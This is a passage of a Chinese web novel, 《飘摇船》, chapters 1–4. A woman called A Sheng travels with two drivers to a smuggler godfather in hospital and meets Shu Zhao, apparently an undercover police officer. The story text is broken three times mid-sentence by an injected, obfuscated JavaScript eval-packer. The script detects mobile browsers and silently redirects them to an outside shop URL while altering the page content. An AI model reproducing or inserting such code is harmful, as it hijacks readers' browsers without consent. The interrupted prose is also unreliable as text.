《飘摇船》 1. 第 1 章 2018年11月,碧空无云的高原上,一辆白色的七座汉兰达载着两名青年男子,缓缓驶离中缅边境小城茶乡,在高速上疾驰。 罗汉身材魁梧,太阳穴青筋虬结,开口骂骂咧咧:“又不是拉货,强叔还叫我直接开车过去,快两千公里,要坐到屁股开花咯。” 罗汉只是花名,跟他口中的强叔非亲非故,不然还能讨价还价一下,起码到昆明搭高铁啊。 拉链人如其花名,嘴巴像上了拉链,话少,冷冷道:“以前拉货走山路走国道都不见你叫?” 罗汉:“拉货那叫刺激,嘿嘿,拉一趟货挣多少啊,屁股受点罪算什么。” 拉链抱臂,合上眼闭目养神,身体跟着车身微微震动。 拉链:“强叔做事谨慎,现在上哪都要刷身份证,妈的你不嫌烦?” 罗汉自讨没趣闭嘴。车厢迎来短暂的安静,片刻后,他又忍不住打破无聊,问:“强叔今年几岁了,竟然能心梗,有五十吗?” 拉链眼皮也没抬,“叫叔没错。” 罗汉喃喃:“强叔儿子都大学毕业了,起码得四十多吧。——哎,他儿子还在美国吗?” 等不来回答,罗汉讪讪一笑,“行,不打扰哥您补觉。” 他单手往下扯了扯毛线帽,盖住光溜的后脑勺。光头少了一点摩擦力,戴不稳帽子,后脑勺总是凉飕飕的,像背后有一道目光一直盯着。 罗汉开了近四个小时,甩甩脖子说手酸脚酸,要进服务区放水。 车刚停稳,罗汉往后视镜瞅了一眼,只见长窄的镜面冒出一双眼睛,陌生而模糊,炯炯回视他。他吓一跳,鬼叫出声。 拉链肩膀随之一震,离开椅背坐直,狠狠剜了他一眼:“有病啊你?!” 罗汉扭头看向第三排,登时呆愣。 拉链见状也往后看,险些嗑上他的大光头。 两颗脑袋结成葫芦一样,第三排中间颈枕也冒出半颗。 “黑妹?!”罗汉和拉链异口同声惊呼。 “阿声。”他们口中的黑妹纠正道,狡黠嬉笑两声,往前依次放倒二三排同侧靠背,凭借苗条的身材,钻到第二排。 在尾箱搭了半天“卧铺”,阿声浑身酸痛,动作僵硬,不然可以像蛇一样游上来。 趁他们还没反应过来,她眼疾手快捞走罗汉衣兜里的车钥匙。 罗汉喊道:“妈的!拿回来!” 阿声塞进冲锋衣的衣领里,没见钥匙从衣摆漏出来。她挑起下巴示威,像隔空点了前排两人的穴。 阿声挨着椅背,甩甩脖子,扭扭腰肢,快散架的骨头嘚嘚作响。 拉链质问:“你什么时候上的车?” 罗汉也喷火:“你他妈在后箱躺了半天?真他妈牛逼啊你!” 他们从普通司机干成了人蛇,莫名其妙接了一单往海城“偷渡”的活,不火才怪。 罗汉继续轰炸:“强叔都说了不要你跟出来,你偏要跟,怎么那么不听话?” 阿声默然从过道纸箱拎了一瓶矿泉水,拧开灌了小半瓶。 在茶乡时她央求过一次,拉链和罗汉也拿强叔压她,然后像吃独食的大人,趁小孩不备偷偷出发,哪知还是给她钻到空子。 拉链主意比罗汉多,说:“快到昆明了,一会搭你下高速,你自己找个车回去。” “这就是现成的车。钥匙在我这。”阿声拍拍胸脯,推开车门,朝他们展颜。漂亮女人的笑容甜美又得意。 “先上个厕所,憋死我了。” 罗汉气不过,扒着车门朝她背影放狠话:“见到强叔我看你怎么说!” 阿声回头撅了一下嘴,捋了下冬风拂乱的鬓发。 “我自己说,不用你们说。” 拉链追上去,要不是男女有别,早扯住她。 他说:“强叔情况刚刚稳定,你非要跟他对着干。等下他气坏身体,你我都负不起责任。” 阿声义正词严:“我既然叫他一声干爹,不去探望一下,良心上过不去。” 拉链只得回头吩咐罗汉,比划两个手势,阿声和车子,他们一人盯一个。 罗汉讥笑:“至于吗?还怕她会自己开车跑掉?” 拉链:“你猜强叔为什么不让她离开茶乡?” 罗汉认识强叔比拉链晚,心思也粗犷,没想那么细,只觉得带个女人上路挺麻烦。 之前听说阿声一直由强叔资助上学,上大学想出省外,工作也不想呆茶乡,强叔为此发过好大的火。强叔除了一个亲儿子,就只有阿声这个干女儿,平时还挺宝贝的。 拉链强调:“平常她跑哪我不管,现在她跟我们的车出来,要是跑丢了,强叔叼你还是叼我?” 罗汉含糊骂了两句,掏烟盒抖出一根咬上,折回去看着车子。 他们原计划出了省界,下高速休整一晚,次日再开一个白天。如今多了一个不安分的女人,他们决定三人接力,一鼓作气开到目的地,把阿声带给强叔过目,之后她再如何折腾,干他们鸟事。 夜路约1600公里,汉兰达上三人累得人仰马翻,终于赶在午饭前抵达强叔所在的海城市人民医院。 刚下车,一股反季节的暑气扑面而来,阿声脱掉冲锋衣和摇粒绒外套,只剩一件长袖打底衫。热气像一根根针,刺痒着上衣的肌肤。她又卷起袖口当中袖穿。 罗汉早扯掉毛线帽,和拉链一样只脱得剩短袖,骂了几句鬼天气。 走到心内科病房门口,三人列队默默走成了品字行,阿声成了“女士优先”打头阵。 三人间病房拉起窗帘和隔帘,宽敞、亮堂而通透。 阿声走到卫生间的拐角,一眼捕捉到中间病床上半躺着的罗伟强。 “干爹……”她走到床尾才开口。 拉链和罗汉依次停在阿声旁边,一前一后叫了强叔。 罗伟强脸上表情慢慢凝固,病痛缓过来,平常那股威严感恢复大半。 阿声抢先说:“是我非要跟着他们来的,跟他们没关。” 拉链只微微皱眉。 罗汉目光越过他,偷瞥了阿声一眼,表情无辜。 路上哥俩通过气——主要是拉链拿主意——阿声擅自离开茶乡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980402|193558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一事,强叔要追究起来,他们就一问三不知,反正强叔比条子好对付。 这位传说中的大小姐还算讲义气,没乱给他们扣罪名。 与此同时,病床边坐着的年轻男人缓缓起身。 对方看上去比阿声大不了几岁,说是医生没白大褂,穿了一件纯黑短袖,说是护工太浪费这张脸和身板,应该就是传说中救了罗伟强的年轻人。 他穿了一条旧的墨蓝牛仔裤,手机和钱包经常塞裤兜,磨出了两道对称的L型白痕,裤-裆也有一条竖线。更多醒目的线条出现在裸露的黝黑双臂上,这人肌肉感恰到好处,瘦实有劲,不像罗汉过度膨胀,不是有健身习惯就是干体力活的。 阿声跟他对视一眼,彼此都匆匆错开目光。她心底只留下一个英气的初印象。片刻后,她想重新确认自己的判断,又瞟一眼,竟撞上他的眼神。对方像洞察了她的小心思。她一时忘记打量第二眼的目的。 年轻男女外貌旗鼓相当,多看一眼都有一见钟情的嫌疑。 异性相吸,同性相斥。拉链和罗汉打量他们的同胞,又是另一种眼神,轻视里带着狩猎的意味。 罗伟强像没注意到三人的登场,转头看向站起的年轻男人,表情有所松弛。 他用带粤语口音的普通话,亲切地问:“小陈,我们刚才聊到哪里?” 这个罗伟强叫小陈,阿声得叫大陈的男人说:“您问我有没有成家。” 没有明显地方口音,还特意用了尊称,这人还算讲究。 罗伟强:“那你成了没?” 姓陈的自嘲一笑,没有那股羸弱的自怨自艾,实诚反而显得可爱,“没钱,暂时不考虑。” 罗伟强像终于发现阿声的存在,眼神指了下她:“这是我唯一的干女儿,你觉得怎么样?生得还可以吧?” 姓陈的不知道是察觉话题走向,还是羞赧,没有贸然开口评价,只是笑了笑。任谁都能看出他没有否认的意思。 罗伟强:“现在就有一个现成的机会,我让她给你做老婆怎么样?” “干爹!”阿声眉心拧成结,忍不住低声抱怨,“又拿我开玩笑……” 老婆在罗伟强嘴里可不是什么温馨词眼,他私下管每一个情人都叫老婆,只有对结婚证上的那位喊不出口。 舒照第三次跟她对上眼。 给罗伟强乱点鸳鸯谱,他们眼神都生出一丝排斥,如同极磁铁,双双转向。 阿声垂在身侧的手,指甲狠狠扣进大鱼际,给挂在病床尾部的桌板挡着,没让罗伟强瞧见。 两个人耳廓都微微发红,不知气的还是羞的。 拉链和罗汉也满脸惊讶,前者还算镇定,后者简直惊掉下巴。罗汉转头朝拉链使眼色,想确认自己没听错,但自讨没趣,人不鸟他。 只听男人讲:“强叔,您太抬举我了。” 罗伟强皮笑肉不笑,示意阿声走近,交替看着这对样貌出众的男女。 他慢条斯理说:“小陈,我这条老命是你救下的,怎么也得好好感谢你。——阿声,你说是不是?帮我照顾好我的恩人。” 2. 第 2 章 罗伟强病床边只剩下阿声一人,其余三个男人下了楼下小花园。 阿声坐到仅有的一张椅子上,挪近床头,倾身关切问:“干爹,你身体好点了吗?” 罗伟强打着点滴,苍白面容也不掩严肃冷峻,口吻不善:“你跑出来是想让我身体好?” 阿声:“我担心你。” 罗伟强冷笑,胸腔微微震动,明摆着不信,没当面拆穿。他的亲儿子在美国,原配在海城同省的老家,情妇在泰国旅游,干女儿最着急、不远千里日夜兼程开车来探望?说出来没人信。 阿声生硬地说:“现在淡季游客不多,临时关门放假几天让阿丽也休息,我回去再开店。” 阿声大学在昆明,学的宝石材料与工艺学。罗伟强为了留她在茶乡,给她在游客众多的步行街开了一家银艺店。店里平常只有她和技工阿丽,罗汉偶尔过来巡场,起安保作用。 罗伟强神情有所松动,但没那么快原谅她。 他说:“给你多招个人。” 阿声隐隐察觉不妙,眼前闪过刚刚认识的那张英气的面庞。 她说:“暂时不用,店里事不多,能忙得过来。新人来了还得手把手教做事,我没那么多精力。” 罗伟强:“店虽然不大,只有你们两个女人也不行,容易被人欺负。罗汉也不经常在茶乡,让小陈给你拉货看店。” 阿声愣怔一瞬。 罗伟强笑道:“你不会以为我刚才在开玩笑吧?” 阿声:“干爹,我——” 罗伟强叹气,微抬没有打点滴的手,打断道:“阿声,你喊我干爹多少年了?” 左右两床的病友都在和家属聊天,走廊外偶尔传来其他人声,白日的病区并不太平。阿声和罗伟强的谈论并不突兀。 “初中开始。” 阿声在中缅边境寨子长大,上的是边民小学。学校里约有80%的学生是缅甸边民,每日跨境过来上学。初中进了茶乡市区的私立学校,跟罗伟强儿子同校,由他赞助读书。 罗伟强说:“也有十来年了。说实话,我从40岁开始,慢慢感觉到身体大不如以前——” 阿声插嘴:“干爹,你身体一向硬朗,说这话?” 罗伟强闭了闭眼,“这次再往医院折腾,真的不得不认命,你干爹我老了,上下没一个能接我班子的人,更愁啊。” 罗伟强仅有的一个儿子不擅长跟人打交道。阿声只是女儿,还不是亲的,不见得他会把生意交给她,不防她算计他财产就不错了。 这两年阿声只管银艺店,没接触也不太了解罗伟强的具体业务,只大概知道他主要做中缅边境贸易,在两国间运输日用品,似乎还销往临近省份,经常往省外跑,不然不会独自跑来海城。他还投资一批茶叶店、美容店和洗浴店,具体多少、在哪,阿声也不清楚。 罗伟强说:“我现在就打算趁我还干得动,多干几个大单,过几年安稳退休。我需要能干的年轻人。” 罗汉忠心耿耿,但粗枝大叶,空有体力。拉链嘴巴严实,但心思复杂,容易逆反。小陈年轻热血,做事利索,也许可以牵制两人。 罗伟强:“男人之间容易互相防备,把他派给罗汉或拉链都不合适,你正好帮我摸摸他的底。这人脑子灵光,一点就通,要是背景和手脚干净,以后可以用得上。” 阿声用沉默对抗,这样的状态也曾出现在高考填志愿和毕业找工作时,且再一次失效了。 靠门的病友又来了一个比罗伟强稍年长的女家属,面相圆润大方,一看就知道人缘不错。 她跟罗伟强打招呼:“哟,这是你女儿啊?” 罗伟强看了眼阿声,笑道:“像吗?” 伸手不打笑脸人,阿声见惯形形色色的客人,跟陌生人能维持几分客气,朝这位阿姨笑了下。 阿姨说:“我觉得挺像的。生得真白真标致。” 罗伟强呵呵一笑,“配小陈不亏吧?” 阿姨眼神一亮,“我就想说这句,真登对,那个词叫什么,郎才女貌。” 阿声暗暗翻白眼。 海城寸土寸金,住院部楼下花园方寸之地,只能叫花坛,上午大多住院病友在治疗,没有散步的身影。 罗汉掏出烟盒,抖出几根烟。 这里是无烟医院,舒照下意识想制止。警察该有的素质,不应该出现在无业游民身上。 罗汉散了一支烟给拉链,顺手也给舒照。 舒照摆摆手,不跟着一起抽,是他最后的克制。 罗汉塞烟回盒,用“是不是男人”的眼神扫了舒照一眼。 他叽叽咕咕:“竟然不抽烟。” 舒照清了下嗓子,“这两天一直在医院,喉咙好像有点不舒服。” 罗汉冷笑,对方可是潜在敌手,在医院围着罗伟强转了两天,无疑像邀功。 拉链吸了一口,问:“兄弟,之前在哪里发财?” 舒照:“没固定工作,跑跑外卖,还指望等强叔出院,跟他回茶乡混口饭吃。” 拉链和罗汉交换一个眼神,刚才罗伟强没开玩笑,这个姓陈的以后要跟着他们一起混,由路人甲变成罗伟强的救命恩人,再升级成潜在的竞争关系。三人间氛围倏然微妙。 拉链:“你也挺厉害,心梗都能救回来。” 舒照:“纯粹运气好,刚好带着速效救心丸。” 罗汉怀疑道:“你还随身带着这种东西?” 舒照对答如流:“我老子就是心梗走了,从那以后就随身带着,能救一个是一个。万一我也需要?” 罗汉讪讪接茬:“你还挺有大爱。” 死者为大,话题没再深入。 拉链和罗汉陷入沉默,各自吞云吐雾。 许久,阿声的身影出现在住院部一楼大厅,四顾找人。 舒照先透过玻璃门看见了她,自言自语一句“下来了”。 罗汉扭头朝她摇手,等人出到室外,吹了声口哨,满脸戏谑:“黑妹,你老公在这边。” 他举着的大手一折,从上方指了指没比他矮多少的舒照。 黑妹黑着一张脸,朝这边大步走来。 舒照再次打量这个他们口中的黑妹。 她并不黑,高原日光没有苛待她。按身高算倒是个妹妹,她比他矮了一个头,身材颇有肉感,白色中领打底衫和蓝色牛仔裤束出醒目曲线,双目有神,举手投足干练利索。 论肤色和气场,他估计得叫她白姐。 想接近罗伟强,这个女人算一个不错的切入点,可惜年轻男女的关系给老人家搅得有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980403|193558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 点尴尬。 阿声走近,蹙眉扬声:“早上的治疗结束,护工已经到了。干爹心疼我们开车累,让先回酒店休息。” 拉链和罗汉一前一后顺手往脚边丢了烟屁股。 舒照开口:“你们住哪里?” 没人回答,气氛尴尬一瞬。 阿声才发觉他大概跟她搭话,说:“拐弯进医院后门那个路口边的酒店,据说医院不好停车,直接停那边了。” 她后知后觉,这应该是他帮忙找的信息。 舒照点头,“我送你们过去,有条小路直通酒店。” 他顺脚踩灭了一个袅袅冒烟的烟头,下一瞬,一颗脑袋险些擦过他的胸膛。黑妹——不对,白姐——也伸脚踩灭另一个烟头。 她抬头,跟他目光相撞,短暂又亲近。 彼此细微的习惯不刻意地呈现,碰撞出一种微妙的同盟感,哪怕立场对立,此刻心里也多了一种别样的认同。 拉链和罗汉已经走出两三米,阿声扭头跟上,舒照殿后。一行四人稀稀拉拉抄小路回到酒店门口。 拉链要了罗汉的身份证,去前台开了两间房回来,给罗汉抽走其中一张房卡。 他直接吩咐:“给黑妹。” 罗汉瞄了眼卡套上注明的字样,一脸贼笑,递给候在沙发区域的阿声。 “黑妹,大床房,给你们两个睡。” 阿声接过房卡,狠狠剜了罗汉一眼。 舒照适时开口,“你们先休息,我回租房整理一下行李退租。” 罗伟强说好出院带他一起回茶乡发财。 阿声往牛仔裤屁兜插了房卡,说:“我跟你去。” 罗汉笑着嚯哟一声,一副看好戏的表情,“夫妻双双把家还啊?” 阿声忍不住抬脚踹他,罗汉笑嘻嘻扭着大屁股躲开。 舒照:“不是什么好地方。” 阿声:“走啊,参观一下。” 舒照往酒店外走,身后缀了一条小尾巴。 他的电鸡停在酒店附近,车尾焊着外卖箱,箱体有剐蹭痕迹,盖子拉上拉链,依旧歪歪扭扭,看得出历经沧桑。 舒照跨上去,占了大半座椅,跟外卖箱之间勉强能挤下一个七八岁小孩。 他摘了挂车头的头盔戴上,显然没有邀请她的意思。 阿声做了一个让他往前挪的手势。 舒照选择性眼瞎。 阿声冷笑一声,扣住他肩膀,抬腿跨进他和外卖箱之间的空隙,硬生生把他往前顶了一截。 舒照:“哎?!” 阿声:“哎什么哎,往前坐点。” 舒照冷嘲:“你人不高,腿还挺长啊。” 他的短袖轻薄,透气性良好,肩头和身后有一股温暖盖着,属于女人特有的弧度与柔软。热度直烧他的耳根,黝黑里透着羞恼的红。 舒照扭头,斜眼瞪她,不巧给她暴露了头盔的系带扣。 阿声像要摸他下巴似的,用搭在他肩头的手顺手解扣,摘了他的头盔戴自己头上。 她微扬下巴扣扣子,挑衅似的。 妈的,手更长。 阿声像听到了他的心声,含笑轻声细语:“干爹说的,让我好好照顾你。走吧帅哥,带我看看你住的地方,我帮你收收行李。” 3. 第 3 章 外卖小电鸡徐徐上路,舒照今天接的是“人肉”跑腿单。 阿声仍扶着他的双肩,他像贴了两张暖宝宝。 阿声摸到他的衣领边缘,掌缘直接贴他黝黑结实的肌肤。 舒照还在确认她故意还是不小心,耳垂忽地给捏了下。 阿声凑近,头盔轻磕上他的脑袋。她轻声细语,如蛇吐信:“嗳,你那么容易脸红吗?” 舒照像被扯耳朵的猫,偏头避开。电鸡随之扭了下,车身摇晃。 阿声重新扣稳他的肩头,迎着阳光无声笑了笑。 暖宝宝仿佛直接贴上他的耳朵,舒照刻意回想她和罗伟强的瓜葛,耳廓热度才渐渐冷却。 阿声不再调戏他,张望陌生的城市。 周围高楼林立,如春笋拔地而起。路过的街巷偶有围栏,里面传来挖掘机的铛铛砸地声。一切跟边境小城茶乡截然不同。 阿声问:“这里是市中心吗?” 舒照:“你跟我说话?” 凑近又嫌弃,离远又耳聋。阿声像刚才贴着他的脑袋,扬声重复一遍。 舒照:“算是,但最繁华的不在这一片。” 阿声:“在哪?” 舒照:“说你又不懂,带你去又远。” 阿声白了他一眼。 舒照:“第一次来海城?” 阿声:“第一次出省。” 舒照看向电鸡后视镜,戴着头盔微眯眼的阿声成了镜中画。她东张西望,像第一次去游乐园的小朋友,眼神充满单纯的好奇与向往,跟刚才的果决大胆判若两人,容易叫人对她降低防备。 他问:“你喜欢这里吗?” 阿声愣了一下,对他的声音和问题毫无准备。她一直呆在茶乡,默认融入和认可家乡,没听过这种抽象甚至有点浪漫的问题。 她笑了笑,清晰嗯了一声,继续观景。 电鸡驮着两人,走在一条带铁丝网的绿化带旁,铁丝网的另一边,一节节跟他们逆向的绿皮车厢呼啸驶过。 阿声奇道:“这里也算市区?” 舒照:“在海城范围,走哪里都算市区。” 阿声听出他的敷衍,扯扯嘴角。 前方出现不规整的楼群,像自建房风格,又比在茶乡见过的要高。每栋十几层,楼间距小,窗户繁多黑旧。 拐进去,他们像进入中国版孟买。巷道不足两辆汽车宽,电鸡横行,两旁遍布各种小店,楼宇门糊满小广告贴纸。头顶只裂开一线天,电线和网线交错,隔一段扎成一大股,像得了血栓。外围楼宇缝隙嵌入附近小区楼的轮廓,那边规整而大气,居住环境的贫富差距交错呈现在眼前,魔幻又现实。 电鸡停在其中一栋楼前,阿声默默下车,脱了头盔还给他。 舒照拎过头盔挂好,看穿她的心事,说:“送外卖就只能住这种地方。” 阿声一直向往外边的世界,视觉冲击第一次跳出想象,真真实实呈现到眼前。 舒照用吊在钥匙圈的水滴型蓝色门禁卡刷开一楼不锈钢大门,扶着让她先进。 入门即是步梯入口,舒照带她拐向旁边电梯间。 阿声按捺住冲动,没再天真感慨这里竟然还能装电梯。 舒照租住的单间在顶楼,采光良好,但夏天估计会比较热。楼间距近乎握手的距离,低楼层窗外视野更为压迫。房间空间局促,像压缩版学校宿舍。 阿声问:“一个月租金多少?” 舒照:“一千。” 阿声瞪大眼,“这点地方?” 茶乡工资普遍三千多,收入和消费水平跟海城不可同日而语。 舒照:“海城就是这样,城中村最便宜。” 这样的楼群在茶乡堪比村寨的规模,却没有一点村的落后与荒僻。 阿声:“刚刚看到附近那些又新又高又整齐的楼呢?” 舒照:“你说小区的楼?” 阿声:“应该是。” 舒照:“一般很少有单间,有也要两三千。” 阿声在心里喊了声妈呀,说:“你收入应该也不少,怎么想不开要跟我干爹回茶乡?” 舒照:“买不起房,娶不起老婆。” 他只是随口一说,最后一个词汇特殊又敏感,刺了一下他们。 这对认识不到一天的陌生男女莫名又对视一眼。 “我抽根烟。”舒照找借口似的出阳台,拉合上半部分装玻璃的铝合金门。 阿声细细打量这个男人的居所。 房间没有异味,算不上整齐。被子不叠,保留掀开的状态。椅背搭着不知道干净还是待洗的衣服,最上面是一件黄色的外卖T恤。复合板桌面摆了一个开启的易拉罐,以她对男人的了解,里面要不剩半罐可乐,要不塞了烟屁股,或者两样都有。 除此以外,家具寥寥,只有布衣柜和半人高的杂牌小冰箱,再塞不下更多东西。 阿声没地可坐,干站了一会,抱腰低头,掩嘴打了一个哈欠。 她透过门玻璃望向阳台。 舒照背对着房间抽烟,果然往另一只易拉罐弹烟灰,没有在看手机。 待他抽完回房,阿声徐徐开口:“你叫什么名字?” 舒照好笑地问:“名字都不知道,你跟我回家?黑妹?” 阿声再一次感觉,这个人比有罗伟强在场时松弛,多了一点孤男寡女独处一室时的轻佻。 她说:“叫我阿声。” 听着像小名,太过亲昵,舒照叫不出口,比起礼尚往来,更像鹦鹉学舌式逗她:“叫我水蛇。” 阿声一顿,“水蛇是龙吗?” 舒照:“水蛇就是水蛇,能在水田里生活的蛇。” 阿声:“为什么叫水蛇?” 舒照:“小时候捉迷藏,躲进水田里,他们说我像水蛇一样消失了。” 阿声想了想,“为什么不是青蛙?” 舒照冷冷扫了她一眼,“我有那么胖吗?” 阿声鼻子哼出一声,快要给逗笑,憋着不能破功。 横竖只是一个名字,她懒得再问他叫陈什么。 舒照走到布衣柜边,哗啦一声,往下拉开拉链。衣柜里没挂几件衣服。 他问:“茶乡在高原,是不是比这里冷一点?” 阿声:“嗯。” 舒照拎出一件黑色卫衣,扔在床角,看她干愣站着,说:“床随便坐,当沙发用。” 阿声弯腰看了眼,摸了下,捻了捻指尖,没有异物。 她坐下,双手往后撑,伸直双腿,无聊放空。 身后冷不丁传来低沉的男声:“这破地方有什么好参观的?” 阿声听出嘲笑,扭头睨了他一眼,“你管我?” 她平日跟罗汉也同一副口吻,借着罗伟强干女儿的身份颐指气使,对这个新收入门的马仔,自然也没好态度。对干爹恩人应有的尊敬,早在她被当谢礼送出那一刻消失殆尽。 舒照:“不敢啊,大小姐。” 阿声莫名听出他在逗她玩,而非自嘲,微恼:“收你的东西。” 舒照:“不是说帮我收行李?” 阿声:“我看你挺能干。” 舒照嗤笑一声,转身自个儿忙活,把摆出来没几天的道具又收进行李箱,弯腰拉上拉链,说了声“搞定”,没人接茬。 他扭头看。 阿声还在原位,仰面倒下,双手高举过头,投降似的,小腿支在床边。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16980404|193558||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她竟然睡着了,比清醒时收敛了性情,要可爱得多。 这很不妙。 当用上可爱这类正面的词眼评价一个女人,说明舒照对她并没想象中的排斥。 过了好一阵,舒照不得不轻踢她的鞋子。 阿声没深睡,迷迷糊糊,又似鬼压床,睁眼困难。 舒照凉凉开口:“流口水了。” 阿声陡然睁眼,手背擦了一下嘴角,靠,被骗了。 舒照低声骂:“心真够大。” 阿声听出笑话的意思,侧躺枕着手肘,头发凌乱却不颓废,侧面更显前凸后翘的身材。 她暧昧一笑,懒散道:“嗳,你想把我怎么样?” 舒照不禁在心里骂疯子,上一次直面这样单刀直入的勾引,还是审女毒贩。 如果他不是水蛇,她不是阿声,彼此跟罗伟强非亲非故,说不定真发生点什么。但那样的话,他们更没机会认识对方。 大城市生活节奏奇快,讲究效率,充满预制与速食,连解决欲望似乎也不例外。 舒照不接她的话茬,问:“你不饿吗?该吃中饭了。” 阿声沉默躺了一会,被子有股洗涤不久的清晰,没有其他恼人的气味,主人应该是个讲卫生的人。 她缓缓起身拉开橡皮筋,摇头抖了抖头发。简单的动作让氛围倏然微妙,好像他们一起刚从小床上睡醒,舒照只是比她早起一步。 她问:“你们平常吃什么?” 突兀的问题扭转了气氛,舒照问:“你们?” 阿声:“来海城打工的人。” 舒照:“有什么吃什么。” 阿声跟着他去了附近小店吃牛肉粿条,读成了“稞条”,吃起来口感有点像米干,相对硬挺而有弹性。 下午舒照费了点口舌,将租房、电鸡和外卖箱打包低价转给另一个刚来海城的外卖小哥。 阿声从疯子变成傻子,像个孩子认真在旁“参观”他的生活,看起来比她大学毕业回老家复杂一点。 她问:“以后还打算回来吗?” 舒照:“以后的事以后再说。” 舒照只剩一个行李箱,拉回医院说去给罗伟强陪夜,没去蹭阿声的大床房。 罗伟强当着两个人的面调侃和强调:“还来陪我这个老嘢,我说把干女儿交给你,你真当我开玩笑啊?” 舒照笑着说:“先立业,再成家,还想再听听强叔的发财经。” 阿声假装看床头信息卡,微微蹙眉。 罗伟强又说她:“阿声,看来你没替我照顾好小陈啊。” 阿声也摆出笑脸:“干爹,海城我不熟,等回茶乡,我一定帮你照顾好他。” 两天后,罗伟强办理出院,五人一起坐七座的汉兰达返程。多了一个轮换司机,他们打算日夜兼程赶路。 副驾靠背放倒,当轮班司机的休息座。罗伟强坐司机后座。 阿声开了一段,直接钻回第三排,坐舒照旁边。 她脱了鞋子,懒懒地说:“我有点累了,借个枕头。” 舒照眼神往副驾指,给无视了,肩膀自然进入防御状态。 阿声直接躺倒,屈膝侧躺,枕上他的大腿,磨磨蹭蹭才找到最舒服的姿势。 罗汉躺副驾上,扭头看热闹,嘿嘿笑,谁叫他还没见过大小姐谈恋爱。 阿声从二排和车门间隙掏过去,掐他肩膀。罗汉才老实。 舒照给她的脑袋一阵乱蹭,差点没法老实。 他抽出原本撑在她背后的手,生硬搭上靠背。坐第三排本就局促,他肩膀到膝盖一线绷紧,整个人石化了。 舒照没料到当上了罗伟强的“赘婿”,此行要过的第一关是美人关。 4. 第 4 章 次日入夜,汉兰达抵达平均海拔约1300米的茶乡,停在竹山小院一栋别墅前。 一个三十多岁的女人迎出来,满脸挂笑,“哎哟,强哥,你可终于回来了。” “这话是不是该我说?”罗伟强站在二排车门边,顿顿脚,皮笑肉不笑,隐然有怒。 李娇娇:“回国机票不好买,我本来想直接飞海城去看你。” 罗伟强:“不好买下次别回来了。” 李娇娇脸色一变。 拉链和罗汉从前排下车,一前一后叫了娇姐。 罗伟强身后又冒出一个人,李娇娇定睛一看,面色又是一沉。 “娇姐。”阿声唇角浅勾,笑容意味不明。 李娇娇:“你跟他们一起回来?” 阿声一时不语,不想在罗伟强面前强调她违逆“禁令”,擅自离开茶乡出省。 罗伟强忽然开口:“阿声来接我。” 他帮阿声发声,李娇娇脸色更难看。 李娇娇十几岁就跟了罗伟强,打过几次胎失去生育能力,收获了男人的愧疚,一直衣食无忧。 她年轻时不但在肚子动刀,在脸上动了更多。三十岁以后,她的美容魔法失效,面部逐年僵硬和馒化,孵化了大量的嫉妒。她开始针对罗伟强身边的每一个年轻女人,包括阿声。 阿声差点有机会喊她作妈,却不被允许喊干妈,第一次见面时喊阿姨她都不乐意,从此只喊姐。 后来罗伟强不再带李娇娇抛头露面,只带阿声。她跟阿声开玩笑:别人叫她娇姐,叫阿声黑妹,看了以后她们要姐妹相称了。 长辈关系混乱,构成阿声扭曲的世界,她看起来比同龄人成熟乖僻。 阿声身后又下来一个人,比她高一个头,李娇娇不由好奇张望新鲜而聪慧的面孔。 阿声把“跟屁虫”拉到身旁,搂着他的胳膊,“娇姐,这是水蛇。” 她脑袋一歪,蹭上舒照的肩头,自然又亲昵。 舒照在车上时的僵硬,从双腿转移到了胳膊。 “娇姐好。”他跟着阿声叫人,就不会出差错,跟外地女婿回老婆娘家一样。 李娇娇看明白关系,笑逐颜开:“哟,这就是救了强哥的帅哥吧,长得真是一表人才。” 舒照:“娇姐过奖了。” 李娇娇张罗道:“外面冷,进屋喝口热茶。” 高原早晚温差大,寒意侵骨,舒照下车没一会便体会到另一种冬天。 阿声接茬:“太晚了,我们先回去。干爹,你搭了那么久的车,早点休息。” 拉链和罗汉也依次附和。 罗伟强没留客,说:“小陈,阿声会安排好你的食宿,你当在自己家,不要客气。等过阵我再带你熟悉生意。” 舒照忙说:“强叔,身体要紧,您先好好休养。” 罗伟强:“阿声”。 阿声:“干爹,你放心好了。” 舒照由着她拽回汉兰达第二排,又搭了一截路,停车另一个小区云樾居门口。 舒照下车拖下自己的行李箱,关上的后备箱,抬手跟前排的两位道别:“慢走。” 罗汉开车,肘搭窗沿,贱兮兮地笑:“回头见啊兄弟,照顾好我们漂亮可爱的黑妹。” 阿声蹙眉挥挥手。 舒照跟着她来到F栋,走步梯到顶楼601房,一路拎着行李箱,下颌线条似乎都绷紧几分。 阿声开门,昏暗里,一团白绒绒的东西蹿到门口,是只猫。 